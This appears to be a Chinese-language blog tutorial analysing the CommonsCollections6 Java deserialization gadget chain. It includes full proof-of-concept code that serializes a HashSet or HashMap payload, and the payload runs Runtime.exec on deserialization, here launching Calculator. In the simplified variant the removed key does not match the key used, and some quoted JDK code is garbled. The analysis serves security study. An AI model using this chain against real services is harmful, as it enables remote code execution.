Java安全-反序列化-4-CC6

2022-04-26 08:23:59 浏览数 (1)

CommonsCollections6

上一篇文章中通过AnnotationInvocationHandler#invoke方法来触发LazyMap#get方法,而AnnotationInvocationHandler这个类在高版本Java(8u71以后)进行了修改,导致该利用链无法利用。

这里讲另一个相对比较通用的Gadget:CommonCollections6,这个Gadget使用了另一个类org.apache.commons.collections.keyvalue.TiedMapEntry,该类在其hashCode方法中调用了getValue,而在getValue中调用了this.map.get,即可以调用LazyMap#get方法。

利用链如下:

代码语言:javascript复制
/*
Gadget chain:
 java.io.ObjectInputStream.readObject()
  java.util.HashSet.readObject()
   java.util.HashMap.put()
    java.util.HashMap.hash()
     TiedMapEntry.hashCode()
      TiedMapEntry.getValue()
       LazyMap.get()
        ChainedTransformer.transform()
         InvokerTransformer.transform()
          Method.invoke()
           Runtime.exec()
by @matthias_kaiser
*/

TiedMapEntry

TiedMapEntry(Map<K,V> map, K key)

构造POC

  • 这条链主要是找了另一个类来触发LazyMap#get,所以前半段可以直接复用上一篇的POC,并创建一个TiedMapEntry对象
代码语言:javascript复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.Map;
import java.util.HashMap;

public class CommonCollections6 {
  public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}
      ),
      new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}
      ),
      new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
      )
      };
    
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    
    TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
    
  }
}
  • 根据利用链可知,这里需要找到触发TiedMapEntry#hashCode的方式。另外从前面URLDNS那条链可以得知,先调用HashMap#put,触发其中的HashMap#hash,最后就可以触发TiedMapEntry#hashCode
代码语言:javascript复制
public V put(K key, V value) {
  return putVal(hash(key), key, value, false, true);
}

// ...

static final int hash(Object key) {
  int h;
  return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

HashSet

HashSet(int initialCapacity)

  • 那么怎样调用HashMap#put呢,这里CC6的利用链用到了HashSet的反序列化,先创建一个HashSet对象
代码语言:javascript复制
HashSet hashSet = new HashSet(1);
hashSet.add("test");
  • 跟进看一下,发现在readObject方法中会对输入流s进行反序列化,然后将s作为Key来调用map.put()方法
代码语言:javascript复制
private void readObject(java.io.ObjectInputStream s)
  throws java.io.IOException, ClassNotFoundException {
  // Read in any hidden serialization magic
  s.defaultReadObject();
  
  // Read capacity and verify non-negative.
  int capacity = s.readInt();
  if (capacity < 0) {
    throw new InvalidObjectException("Illegal capacity: "  
                                     capacity);
  }
  
  // Read load factor and verify positive and non NaN.
  float loadFactor = s.readFloat();
  if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
    throw new InvalidObjectException("Illegal load factor: "  
                                     loadFactor);
  }
  
  // Read size and verify non-negative.
  int size = s.readInt();
  if (size < 0) {
    throw new InvalidObjectException("Illegal size: "  
                                     size);
  }
  // Set the capacity according to the size and load factor ensuring that
  // the HashMap is at least 25% full but clamping to maximum capacity.
  capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                            HashMap.MAXIMUM_CAPACITY);
  
  // Constructing the backing map will lazily create an array when the first element is
  // added, so check it before construction. Call HashMap.tableSizeFor to compute the
  // actual allocation size. Check Map.Entry[].class since it's the nearest public type to
  // what is actually created.
  
  SharedSecrets.getJavaOISAccess()
    .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
  
  // Create backing HashMap
  map = (((HashSet<?>)this) instanceof LinkedHashSet ?
         new LinkedHashMap<E,Object>(capacity, loadFactor) :
         new HashMap<E,Object>(capacity, loadFactor));
  
  // Read in all elements in the proper order.
  for (int i=0; i<size; i  ) {
    @SuppressWarnings("unchecked")
    E e = (E) s.readObject();
    map.put(e, PRESENT);
  }
}
  • 然后再看writeObject方法,发现存在逻辑通过for循环来对keySet中的元素进行序列化。如果能够控制key,那么就能控制s
代码语言:javascript复制
private void writeObject(java.io.ObjectOutputStream s)
  throws java.io.IOException {
  // Write out any hidden serialization magic
  s.defaultWriteObject();
  
  // Write out HashMap capacity and load factor
  s.writeInt(map.capacity());
  s.writeFloat(map.loadFactor());
  
  // Write out size
  s.writeInt(map.size());
  
  // Write out all elements in the proper order.
  for (E e : map.keySet())
    s.writeObject(e);
}

序列化

  • 如果想要控制key元素,那么首先要获取到map这个对象,才能对key进行操作
代码语言:txt复制
- `Field#get(Object obj)`,返回指定对象上这个字段的值
代码语言:javascript复制
// 获取HashSet中的map字段
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
map.setAccessible(true);
// 获取hashSet对象上map字段的值
HashMap hashSetMap = (HashMap) map.get(hashSet);
  • HashMap中有一个table属性,这个属性将<Key,Value>封装在了Node对象中
  • 接下来就是操作hashSetMap这个HashMap对象,修改其中的Key。首先需要获取获取到了table中的Key后,再利用反射修改其为hashSetMap
代码语言:javascript复制
// 获取HashMap中的table
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] mapArray = (Object[]) table.get(hashSetMap);

// 获取table中Node对象的Key
Object node = mapArray[0];
if (node == null) { node = mapArray[1]; }

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);

// 设置tiedMap为Node对象的Key
key.set(node, tiedMap);

触发漏洞

  • 最后再对hashSet对象进行序列化,并模拟反序列化场景来触发漏洞
代码语言:javascript复制
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashSet);
System.out.println(baos);

// Deserialization
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();

ois.close();
bais.close();
oos.close();
baos.close();

完整代码

代码语言:javascript复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Map;
import java.util.HashMap;

public class CommonCollections6 {
  public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}
      ),
      new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}
      ),
      new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
      )
      };
    
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    
    TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
    
    // new HashMap().put(tiedMap, "123");
    HashSet hashSet = new HashSet(1);
    hashSet.add("test");
    
    // 获取HashSet中的map字段
    Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
    map.setAccessible(true);
    HashMap hashSetMap = (HashMap) map.get(hashSet);
    
    // 获取HashMap中的table
    Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
    table.setAccessible(true);
    Object[] mapArray = (Object[]) table.get(hashSetMap);
    
    // 获取table中Node对象的Key
    Object node = mapArray[0];
    if (node == null) { node = mapArray[1]; }
    Field key = node.getClass().getDeclaredField("key");
    key.setAccessible(true);
    
    // 设置tiedMap为Node对象的Key
    key.set(node, tiedMap);
    
    // Serialization
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(hashSet);
    System.out.println(baos);
    
    // Deserialization
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bais);
    ois.readObject();
    
    ois.close();
    bais.close();
    oos.close();
    baos.close();
    
  }
}

简化版CC6

来源于P牛对CC6利用链的改造:phith0n/CommonsCollections6.java

这条简化版的利用链不需要用到HashSet,因为在HashMap的readObject⽅法中,调⽤到了 hash(key) ,⽽hash⽅法中调⽤了key.hashCode()

所以只需要让这个key等于TiedMapEntry对象,即构成TiedMapEntry.hashCode(),进而触发后续的利用链

  • 这里参考ysoserial工具,在Transformer数组最后增加了一个ConstantTransformer(1),消除java.lang.UNIXProcess报错
代码语言:javascript复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;

public class CC6 {
  public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}
      ),
      new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}
      ),
      new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
      ),
      new ConstantTransformer(1),
    };
    
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    
    TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
    
    // new HashMap().put(tiedMap, "123");
    
    // 不再使⽤原CommonsCollections6中的HashSet, 直接使⽤HashMap
    Map expMap = new HashMap();
    expMap.put(tiedMap, "valuevalue");
    lazyMap.remove("keykey");
    
    // Serialization
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(expMap);
    System.out.println(baos);
    
    // Deserialization
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bais);
    ois.readObject();
    
    ois.close();
    bais.close();
    oos.close();
    baos.close();
    
  }
}
  • 参考文章:
    • Commons-Collections 1-7 分析

版权属于:Naraku

本文链接:https://cloud.tencent.com/developer/article/1987782

本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~

0 人点赞